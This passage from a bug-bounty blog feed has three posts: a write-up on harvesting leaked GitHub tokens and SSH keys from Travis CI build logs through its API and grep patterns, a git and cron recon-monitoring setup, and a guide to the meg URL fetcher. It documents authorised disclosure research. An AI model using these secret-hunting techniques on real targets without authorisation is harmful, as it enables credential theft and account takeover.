&lt;p&gt;It is worth noting that continuous-integration services have already been targeted in the past for sensitive information by bug bounty hunters and third-parties as seen in &lt;a href="https://hackerone.com/reports/215625"&gt;&amp;ldquo;A HackerOne employee&amp;rsquo;s GitHub personal access token exposed in Travis CI build logs&amp;rdquo;&lt;/a&gt; and the &lt;a href="https://www.traviscistatus.com/incidents/3f8mwqxbh127"&gt;&amp;ldquo;API under attack&amp;rdquo;&lt;/a&gt; Travis CI incident report:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;We are currently undergoing a distributed attack on our public API that we believe is aimed at revealing GitHub authentication tokens. Countermeasures are holding, and we will update accordingly.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;— Travis CI (Sep. 2015)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So much so that platforms such as Travis CI introduced built-in secrets detection to prevent accidental exposure of sensitive information as seen below. &lt;a href="https://docs.travis-ci.com/user/best-practices-security/"&gt;[1]&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/56799298-f32fa300-6818-11e9-88db-274d183cd1be.png" alt="Environment variables" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;Travis CI replaces potentially sensitive information with the &lt;code&gt;[secure]&lt;/code&gt; keyword at runtime.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;To prevent leaks made by these components, we automatically filter secure environment variables and tokens that are longer than three characters at runtime, effectively removing them from the build log, displaying the string &lt;code&gt;[secure]&lt;/code&gt; instead.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="automating-the-boring-tasks"&gt;Automating the boring tasks&lt;/h2&gt;
&lt;p&gt;Approaching a large attack surface manually, such as the one Travis CI presents, would be an incredibly tedious task. Therefore, we had to work with the available API documentation these CI vendors provide and develop tooling to automate fetching build logs rapidly.&lt;/p&gt;
&lt;p&gt;To better illustrate the process of going from a bug bounty program to an extensive data set for further investigation, we will use &lt;a href="https://docs.travis-ci.com/user/developer/"&gt;Travis CI&amp;rsquo;s API documentation&lt;/a&gt; as an example.&lt;/p&gt;
&lt;p&gt;The initial phase of our process was to fetch bug bounty programs&amp;rsquo; GitHub organisations. There were multiple ways of going about doing this, but for the best results, a simple Google search for &amp;ldquo;company name&amp;rdquo; and &amp;ldquo;GitHub&amp;rdquo; would do the job. Next, we had to check if the GitHub handle was on Travis CI. To make this process smoother, we used a browser bookmarklet that would redirect us from GitHub to Travis CI using the GitHub handle.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;javascript:window.location=&amp;#34;https://travis-ci.org&amp;#34;+window.location.pathname;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;
&lt;figure&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/56799313-fd51a180-6818-11e9-9518-4b06e81de2e9.png" alt="" loading="lazy" decoding="async"&gt;
&lt;figcaption&gt;The bookmarklet would redirect from the GitHub page to Travis CI.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;If the target was present on GitHub, we hit the projects API endpoint on Travis CI and retrieve a list of all projects.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;https://api.travis-ci.org/owner/%s/repos?limit=100&amp;amp;offset=%d
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Travis CI’s API is case sensitive; fortunately, the bookmarklet ensures that you are using the correct handle when issuing API requests. To gather the contents of build logs, we need to hit the build IDs API endpoint and then &lt;code&gt;/log.txt&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;https://api.travis-ci.org/repo/%s/builds?limit=100&amp;amp;offset=%d
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;https://api.travis-ci.org/job/%d/log.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now that the contents of all the build logs belonging to the target are stored locally, we can start grepping. Due to the size of the data we were analysing, we resorted to &lt;a href="https://github.com/BurntSushi/ripgrep"&gt;&lt;code&gt;ripgrep&lt;/code&gt;&lt;/a&gt; when sieving through the logs locally.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ rg -ia &amp;#34;$1&amp;#34; -j 12 --no-filename --no-line-number --pretty
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Besides bug bounty program&amp;rsquo;s GitHub accounts, the authors also gathered build logs belonging to all members of the GitHub organisation. It turns out that some members were running builds on their account not realising that their secrets were being exposed in the build logs.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;users&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;curl -s -H &lt;span style="color:#e6db74"&gt;&amp;#34;application/vnd.github.hellcat-preview+json&amp;#34;&lt;/span&gt; -H &lt;span style="color:#e6db74"&gt;&amp;#34;Authorization: token &lt;/span&gt;$GH_TOKEN&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt; https://api.github.com/orgs/&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$1&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;/members | jq -r .&lt;span style="color:#f92672"&gt;[]&lt;/span&gt;.login&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; read -r hehe; &lt;span style="color:#66d9ef"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; secretz -t &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$hehe&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;done&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$users&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The team behind this project has decided to refrain from publishing any of the tools built to fetch build logs since we do not want to be directly responsible for any disruptions to CI platforms&amp;rsquo; performance. This write-up will inevitably draw more attention to the large attack surface some CI platforms present; therefore, the authors would like to remind the reader, when using the platform&amp;rsquo;s API, to please take care in not inundating every endpoint with lots of requests at once. We were very cautious not to take down any services during the entire process and would advise others to follow suit.&lt;/p&gt;
&lt;h2 id="results-and-notable-findings"&gt;Results and notable findings&lt;/h2&gt;
&lt;p&gt;Overall, the most impactful findings were predominately GitHub access token leaks. In this section, we will cover four notable reports that our team submitted.&lt;/p&gt;
&lt;p&gt;While grepping through the Travis CI build logs of Grammarly employees, we discovered an employee&amp;rsquo;s GitHub access token with read and write access to the Grammarly GitHub organisation. This token would have allowed us to push code to any of the repositories listed under Grammarly&amp;rsquo;s GitHub page. Grammarly awarded us their highest payout to date according to their HackerOne &lt;em&gt;&amp;ldquo;Program Statistics&amp;rdquo;&lt;/em&gt;. &lt;a href="https://hackerone.com/reports/496937"&gt;[2]&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/63653651-0a9f7e00-c770-11e9-875d-d0308230c267.png" alt="Grammarly HackerOne report" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;To expand our scope, we considered multiple platforms. In a private Bugcrowd program&amp;rsquo;s Travis CI build log from 2013, we found a GitHub access token and were awarded a P1-severity payout — the highest possible severity score on Bugcrowd. &lt;a href="https://bugcrowd.com/vulnerability-rating-taxonomy"&gt;[3]&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The most surprising response from all the vendors that we reported findings to was Discourse&amp;rsquo;s bug bounty program. Karim Rahal discovered an employee&amp;rsquo;s GitHub access token with read and write access to all public repositories under the Discourse GitHub organisation. To demonstrate the potential impact of this issue, we pushed a harmless file to one of the organisation&amp;rsquo;s least active repositories to not draw too much attention. The file was subsequently &lt;a href="https://github.com/discourse/errorpages/commit/09dc71dc6e20b192a54d9ede0e3ff2c08aa3e400"&gt;removed from the repository&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/56799351-15c1bc00-6819-11e9-8cdb-70e1e119f2c9.png" alt="Proof of concept on Discourse&amp;rsquo;s GitHub repository" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;Discourse awarded Karim the lowest possible bounty of $128. We requested further clarification as to how the team determined the bounty amount, but we have yet to hear back from the Discourse team — that is 60 days without a response. &lt;a href="https://hackerone.com/reports/497669"&gt;[3]&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Another critical bug was discovered on a public cryptocurrency program on HackerOne. This program was using secret variables within Travis CI to create an SSH key. The details for this configuration can be found &lt;a href="https://github.com/dwyl/learn-travis/blob/master/encrypted-ssh-keys-deployment.md#5-encrypt-the-private-key"&gt;here&lt;/a&gt; and &lt;a href="https://github.com/nelsonic/hello-world-node-http-server/blob/master/.travis.yml#L7-L16"&gt;here&lt;/a&gt;. After digging through thousands of logs, the following line was detected by a tool Justin Gardner wrote:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-----BEGIN RSA PRIVATE KEY-----
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A developer had added &lt;code&gt;cat deploy_key&lt;/code&gt; in their CI configuration file which outputted the SSH key in the log. With the SSH key, an attacker could have logged into several deployment servers in the program’s infrastructure. A bounty of $1000 was awarded because the servers were non-production.&lt;/p&gt;
&lt;h2 id="tips-and-tricks"&gt;Tips and tricks&lt;/h2&gt;
&lt;p&gt;Usually, a simple grep for &lt;code&gt;export&lt;/code&gt; statements in the build logs would be a good starting point. The &lt;code&gt;export&lt;/code&gt; command is used for setting environment variables in the log prompt and therefore can expose sensitive information.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ rg -ia &amp;#34;export &amp;#34; -j 12 --no-filename --no-line-number --pretty
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Of course one should not restrict themselves solely to variables set using the &lt;code&gt;export&lt;/code&gt; command; refining search terms to &amp;ldquo;token&amp;rdquo;, &amp;ldquo;key&amp;rdquo;, &amp;ldquo;password&amp;rdquo;, and &amp;ldquo;secret&amp;rdquo; can help uncover specific leaks. To reduce the number of false positives, we recommend appending &lt;code&gt;=&lt;/code&gt; and &lt;code&gt;:&lt;/code&gt; to your search terms.&lt;/p&gt;
&lt;p&gt;We encourage readers to create a list of all variables with the &lt;code&gt;[secure]&lt;/code&gt; keyword and then search using those variable names in all projects. This will help you find unsecured instances of sensitive data using common variable naming conventions. Karim Rahal gathered &lt;code&gt;[secure]&lt;/code&gt; variables from 5,302,677 build logs, the 50 most common of which can be seen below.&lt;/p&gt;
&lt;p&gt;
&lt;figure&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/56803383-c4b6c580-6822-11e9-9807-6ee57563024c.png" alt="" loading="lazy" decoding="async"&gt;
&lt;figcaption&gt;Full list can be found here: https://gist.githubusercontent.com/EdOverflow/8bd2faad513626c413b8fc6e9d955669/raw/06a0ef0fd83920d513c65767aae258ecf8382bdf/gistfile1.txt&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;In addition, setting up continuous monitoring of your favourite bug bounty program’s CI builds, and running your tooling every time the team pushes a new commit to GitHub is a great way to catch exposed secrets in real time before the team has time to act.&lt;/p&gt;
&lt;p&gt;Do not restrict yourself to keys and tokens; CI platforms are a great source of information for reconnaissance too. Sieve through the logs to find hidden endpoints and URLs belonging to the target.&lt;/p&gt;
&lt;p&gt;Check for CI config files on GitHub to determine what CI integration your target is using. There may be other CI platforms out there that were not covered in this write-up where secrets are exposed.&lt;/p&gt;
&lt;p&gt;A fun task that we included in our grep process was to find strings and errors messages commonly associated with missing or broken dependencies. With missing npm packages, this can sometimes lead to code execution by claiming the package name on a remote registry as demonstrated in &lt;a href="https://hackerone.com/reports/399166"&gt;https://hackerone.com/reports/399166&lt;/a&gt;. Some example error messages include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;ldquo;is not in the npm registry.&amp;rdquo; (&lt;a href="https://www.npmjs.com/"&gt;npm&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&amp;ldquo;No matching distribution&amp;rdquo; (&lt;a href="https://pypi.org/"&gt;PyPI&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&amp;ldquo;Could not find a valid gem&amp;rdquo; (&lt;a href="https://rubygems.org/"&gt;RubyGems&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="conclusion-and-further-research"&gt;Conclusion and further research&lt;/h2&gt;
&lt;p&gt;This research has helped us get a better understanding of the large attack surface that continuous-integration services present — almost hidden in plain sight — and has turned out to be extremely fruitful when bug bounty hunting.&lt;/p&gt;
&lt;p&gt;Since a reasonably limited amount of platforms were included in this research, future studies and projects could consider covering further CI platforms and integrations.&lt;/p&gt;
&lt;p&gt;We applaud platforms such as Travis CI that allow users to hide sensitive environment variables in their logs. In our view, this is a step in the right direction to preventing the type of security leaks that we encountered.&lt;/p&gt;
&lt;p&gt;Not only has this work provided us with lots of successful bug bounty stories and valid findings, but it has also shown that collaboration, as seen here with this project, can go a long way while bug bounty hunting. ■&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Update (19 August 2019): Since publishing this write-up, Corben Leo
(&lt;a href="https://twitter.com/hacker_"&gt;@hacker_&lt;/a&gt;) has released &lt;strong&gt;secretz&lt;/strong&gt;, a tool to
help fetch build logs from Travis CI: &lt;a href="https://github.com/lc/secretz"&gt;https://github.com/lc/secretz&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>The poor man's bug bounty monitoring setup</title><link>https://edoverflow.com/2018/the-poor-mans-monitoring-setup/</link><pubDate>Sun, 15 Jul 2018 00:00:00 +0000</pubDate><author>contact@edoverflow.com (EdOverflow)</author><guid>https://edoverflow.com/2018/the-poor-mans-monitoring-setup/</guid><description>&lt;p&gt;
&lt;img src="https://www.oldbookillustrations.com/wp-content/uploads/2017/07/fishing-station.png" alt="" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;I must confess, I have been holding on to a small trick that could allow anybody — even those of you that are not into developing and maintaining software — to set up a monitoring system in mere minutes. The reason why I call it the poor man&amp;rsquo;s monitoring setup is simply to indicate that this setup is not extremely sophisticated, but it does its job beautifully.&lt;/p&gt;
&lt;p&gt;When bug bounty hunters monitor targets, they want to receive indications that something new has appeared or that there is a new instance. This is done so that one can immediately jump onto interesting targets and components, which is particularly useful on competitive bug bounty programmes.&lt;/p&gt;
&lt;p&gt;The main part of this setup relies on &lt;a href="https://git-scm.com/"&gt;Git&lt;/a&gt;. We want to be able to store results from our reconnaissance tools — such as subdomain-bruteforcing scripts — and be able to quickly see changes. We also need a place to store the output remotely. For this particular example, I will be using private GitHub repositories. Students can get free private repositories on GitHub if you apply here: &lt;a href="https://education.github.com/pack"&gt;https://education.github.com/pack&lt;/a&gt;. Please keep in mind, that there are plenty of alternatives out there, I am just sticking to GitHub for this write-up.&lt;/p&gt;
&lt;p&gt;Once you have your private repository set up, make sure to store all output from your tools that you want to monitor inside of the local Git folder. When done running your tools, your monitoring script should attempt to &lt;code&gt;git commit&lt;/code&gt; the output. The clever thing here is that Git will not commit unmodified files, meaning you will only be able to &lt;code&gt;git commit&lt;/code&gt; files that include newly discovered endpoints. &lt;code&gt;git push&lt;/code&gt; your files to the private GitHub and include a nice commit message, because this will become useful later.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/42733457-f67a872c-8831-11e8-9dce-fd3f1295f324.png" alt="" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;Now that everything is being pushed to GitHub, we want to have a way to be notified about new commits. It turns out, GitHub has a nifty little feature which allows you to send emails to an address whenever there is a new commit on the master branch.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Navigate to &lt;a href="https://github.com/YOUR_USERNAME/REPO/settings/installations;"&gt;https://github.com/YOUR_USERNAME/REPO/settings/installations;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Under the &amp;ldquo;Add service&amp;rdquo; dropdown, look for &amp;ldquo;email&amp;rdquo;;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/42733459-f6af8daa-8831-11e8-9462-846496e0f804.png" alt="" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;ol start="3"&gt;
&lt;li&gt;Add your email address in the &amp;ldquo;Address&amp;rdquo; field.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/42733471-1daf4896-8832-11e8-9aa0-173bb798012a.png" alt="" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;Finally, run your tools with the Git commit process as a cron job. I wrote the whole thing in a few lines of Bash.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ crontab -l
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Edit this file to introduce tasks to be run by cron.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0 * * * * /usr/local/bin/scan example.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You are ready to go. Sit back and relax. GitHub will now notify you whenever any changes were made via email with a nice diff of the files. So you can be sat in a Caffè somewhere and know straight away when a new endpoint was discovered on your favourite bug bounty target.&lt;/p&gt;
&lt;p&gt;On a side note, I just want to add, please do not perform over-the-top type of scanning when monitoring. Keep things light-weight and prioritise targets.&lt;/p&gt;</description></item><item><title>Automating your reconnaissance workflow with 'meg'</title><link>https://edoverflow.com/2018/meg/</link><pubDate>Fri, 13 Apr 2018 00:00:00 +0000</pubDate><author>contact@edoverflow.com (EdOverflow)</author><guid>https://edoverflow.com/2018/meg/</guid><description>&lt;p&gt;For the past few months, I have been playing around with a tool developed by &lt;a href="https://twitter.com/tomnomnom"&gt;Tom Hudson&lt;/a&gt; called &lt;a href="https://github.com/tomnomnom/meg"&gt;&lt;code&gt;meg&lt;/code&gt;&lt;/a&gt; and I have fallen in love with this tool. &lt;code&gt;meg&lt;/code&gt; is a lightweight URL fetcher that stores the output in organised directories and files. This tool has become the quintessential element in my reconnaissance workflow and has been incorporated into many of my personal tools.&lt;/p&gt;
&lt;p&gt;Tom comes from a developing background and therefore understands full well the issue with mass-scanning. This is why &lt;code&gt;meg&lt;/code&gt; was designed with the primary focus of not being resource intensive. By default, the tool behaves like a normal user browsing the web and is less likely to take down a service as a result.&lt;/p&gt;
&lt;h2 id="the-basics"&gt;The Basics&lt;/h2&gt;
&lt;p&gt;In bare essence, all it takes to run &lt;code&gt;meg&lt;/code&gt; is to specify an endpoint and then a host.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ `meg` &amp;lt;endpoint&amp;gt; &amp;lt;host&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ `meg` / https://edoverflow.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The latter command requests the top-level directory for &lt;a href="https://edoverflow.com"&gt;https://edoverflow.com&lt;/a&gt; (&lt;code&gt;https://edoverflow.com/&lt;/code&gt;). It is important to note, that protocols most be specified; &lt;code&gt;meg&lt;/code&gt; does not automatically prefix hosts. If you happen to have a list of targets without protocols, make sure to &lt;code&gt;sed&lt;/code&gt; the file and add the correct protocol.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ sed &amp;#39;s#^#http://#g&amp;#39; list-of-hosts &amp;gt; output
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;By default &lt;code&gt;meg&lt;/code&gt; stores all output in an &lt;code&gt;out/&lt;/code&gt; directory, but if you would like to include a dedicated output directory, all it takes is appending the output directory to your command as follows:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ `meg` / https://edoverflow.com out-edoverflow/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="discovering-interesting-files-on-the-web"&gt;Discovering Interesting Files On The Web&lt;/h2&gt;
&lt;p&gt;Say we want to pinpoint specific files that could either assist us further while targeting a platform or be an actual security issue in itself if exposed to the public, all it takes is a list of endpoints (&lt;code&gt;lists/php&lt;/code&gt;) and a series of targets (&lt;code&gt;targets-all&lt;/code&gt;). For this process, storing all pages that return a &amp;ldquo;200 OK&amp;rdquo; status code will help us sieve out most of the noise and false-positives (&lt;code&gt;-s 200&lt;/code&gt;).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ `meg` -s 200 \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; lists/php targets-all \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; out-php/ 2&amp;gt; /dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once the command above has finished running, all it takes is navigating through the &lt;code&gt;out-php/&lt;/code&gt; directory to find saved responses. You can start by manually grepping for specific strings — make sure to automate part of this process in Bash with &lt;code&gt;grep&lt;/code&gt; and arrays — or you can use a neat little trick that Tom showed me.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cat ~/bin/vimprev
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;VIMENV=prev vim $@
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You guessed it — vim preview windows! For each file in the output directory, we can preview it inside of vim. All the &amp;ldquo;exiting vim&amp;rdquo; jokes aside, this is a brilliant idea and I cannot thank Tom enough for it.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cat /path/to/vimrc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;if $VIMENV == &amp;#39;prev&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; noremap &amp;lt;Space&amp;gt; :n&amp;lt;CR&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; noremap &amp;lt;Backspace&amp;gt; :N&amp;lt;CR&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;endif
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ export PATH=$PATH:~/bin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cd out/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ vimprev $(find . -type f)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;vimrc&lt;/code&gt; trick allows you to use the spacebar to move to the next file and the backspace key to the previous one. Hold that spacebar down and go wild! Interesting-looking files should jump out fairly quickly.&lt;/p&gt;
&lt;h2 id="live-preview"&gt;Live Preview&lt;/h2&gt;
&lt;p&gt;If you want a live preview of saved files in the output directory, all you need to do is follow the &lt;code&gt;index&lt;/code&gt; file in the output directory the same way you might follow your logs on a web server.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cd out/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ tail -f index
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;out/example.com/2d676fb9c99611db7e6cb75ffa1b137673f4ca04 http://example.com/.well-known/security.txt (200 OK)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="time-to-experiment"&gt;Time To Experiment&lt;/h2&gt;
